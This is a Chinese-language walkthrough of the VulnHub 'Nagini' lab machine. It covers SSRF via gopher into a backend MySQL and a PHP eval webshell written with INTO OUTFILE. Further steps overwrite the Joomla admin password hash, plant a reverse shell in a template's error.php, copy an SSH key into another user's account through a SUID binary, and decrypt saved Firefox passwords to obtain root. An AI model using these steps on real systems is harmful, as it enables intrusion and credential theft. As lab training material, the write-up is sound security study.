0x14-VulnHub靶机-Nagini
环境
靶机地址: https://download.vulnhub.com/harrypotter/Nagini.ova
难度:有点难
内容
- SSRF (Gopher协议 + Mysql)
- http3 (但我懒得搞)
- 已知cms后台搜索法
- SSH公钥登录 (传公钥到靶机上
- 破解浏览器文件.mozilla 得到遗留密码
操作
信息收集
常规主机发现 端口扫描
然后80端口就是一张图片 没啥可以利用得
第一次目录扫描扫出 Joomla CMS 版本是最新的 常规方法试了没啥结果

再扫joomla 还是发现很多东西的 但是没什么可以利用的

用大字典继续扫
dirsearch -u http://192.168.3.131/ -w /home/maomao/桌面/lujing.txt -f -e txt,bak,sql,zip
bak 指的是备份文件

发现个note.txt 给了两个提示

修改hosts文件 然后用http3协议去访问 正常去访问看到的还是ip访问一样的内容
192.168.3.131 192.168.3.131 quic.nagini.hogwarts

admin提示在本周之后就会去删除这个文件/internalResourceFeTcher.php,还有服务器上面有一些配置文件,这些配置文件是所有人都可以读取的 还提示有备份文件
joomal的配置文件:configuration.php
就去访问一下 提示给我们的路径

SSRF
Welcome to Internal Network Resource Fetching Page 欢迎来到内网资源获取页面
这意味着我们可以访问到内网的资源 我们现在在外网 这就是ssrf 服务器端请求伪造

但是用file协议你要知道绝对路径才可以去读东西 当然可以去访问一下默认的配置文件有没有啥东西

这里提示其实是要你正常去访问他的备份 你去访问/joomla/configuration.php其实存在但是你看到内容 这上面我们用他这个ssrf去访问的
/joomla/configuration.php.bak就可以下载出来
public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'goblin'; public $password = ''; public $db = 'joomla'; public $dbprefix = 'joomla_'; public $live_site = ''; public $secret = 'ILhwP6HTYKcN7qMh'; public
这里发现了数据库的信息 而且没有密码 这里正愁不知道怎么突破外网了 这就送上来了
SSRF突破边界的方法就是用gopher协议 通过mysql redis 等服务写🐎进去
这里有数据库配置信息 我们用gopher协议判断是否开放了3306端口

发现右上角一直跳动,那么后端是开放了3306端口的,只不过没有对外开放
利用gopher协议突破边界
利用gopher对mysql服务发送一些指令,读取数据库的信息,使用到一款工具Gopherus-master来进行生成向后端mysql发送指令的payload
直接写🐎
试图直接写个🐎进去 但是写不进去
select '<?php eval($_POST["cmd"]);?>' into outfile '/var/www/html/ssrf.php';
读数据库的东西
goblin
这里知道public $db = 'joomla'; 库名
use joomla;show tables; 用工具生成出来的还要url编码一下 (后面的那部分)

发现个joomla_users
use joomla;select * from joomla_users ;

直接你发现了 账号密码 但是这个密码是加密的 可以选择去进行解密,但是既然可以操作数据库,那么直接将site_admin的密码更换成mao(md5加密)

use joomla;update joomla_users set password="3fe8ebd7f5996651fa46c4aefe24b6af" where username="site_admin";
更新完密码之后 去到那个登录界面 登入进后台

joomla后台
直接去网上搜 joomal后台getshell https://blog.csdn.net/qq_42084004/article/details/118971341
去kali找一个反弹shell的🐎 位置在:/usr/share/webshells/php/php-reverse-shell.php
把🐎写到error.php 找到文件位置 然后去访问


提权
第一次
在snape用户下 发现第一个flag TG92ZUBsaWxseQ== base64解码是 Love@lilly 文件名 .creds.txt 信用 猜可能是密码

用ssh去连接一下 root snape hermoine 就snape 用户成功登录了

发现第一个flag

第二次
上传工具上去扫 发现有个suid 这个应该类似cp 并且其他用户可以执行

那么思路就是将自己kali的公钥传输到目标中,使用su_cp命令,将公钥复制到hermoine的.ssh文件夹下,这样子kali就可以凭借公钥直接登录hermoine账号
生成kali的密钥对 ssh-keygen

使用scp将公钥传输到snape账号的主目录下
scp id_rsa.pub snape@192.168.3.131:~/
改名为authorized_keys
mv id_rsa.pub authorized_keys
使用su_cp将公钥拷贝到hermoine的.ssh目录下(**给公钥640权限 ** //这里正是因为su_cp有suid权限 如果没这权限 移动不了
/home/hermoine/bin/su_cp authorized_keys /home/hermoine/.ssh

然后kali连接 (密钥对连接 ) 指定文件 -i 去连接
这里要注意 kali要用 root权限去连接

注意 这里私钥的权限不要给大了 要给 600

第三次
这里用到了个没学过的方法 (破解浏览器的遗留密码 然后尝试登入root )
在hermoine的主目录下有.mozilla的隐藏文件
.mozilla是linux使用firefox浏览器所生成的文件,里面有使用firefox浏览器下的拓展、安装等信息,还有记住的某些web系统的账号密码
使用scp将.mozilla传输到kali,使用一款针对firefox浏览器账号密码还原的工具firefox_decrypt
工具地址:https://github.com/unode/firefox_decrypt
scp -rp hermoine@192.168.3.131:~/.mozilla /tmp



python3 firefox_decrypt.py /tmp/.mozilla/firefox
发现个root密码

尝试去ssh 连接root
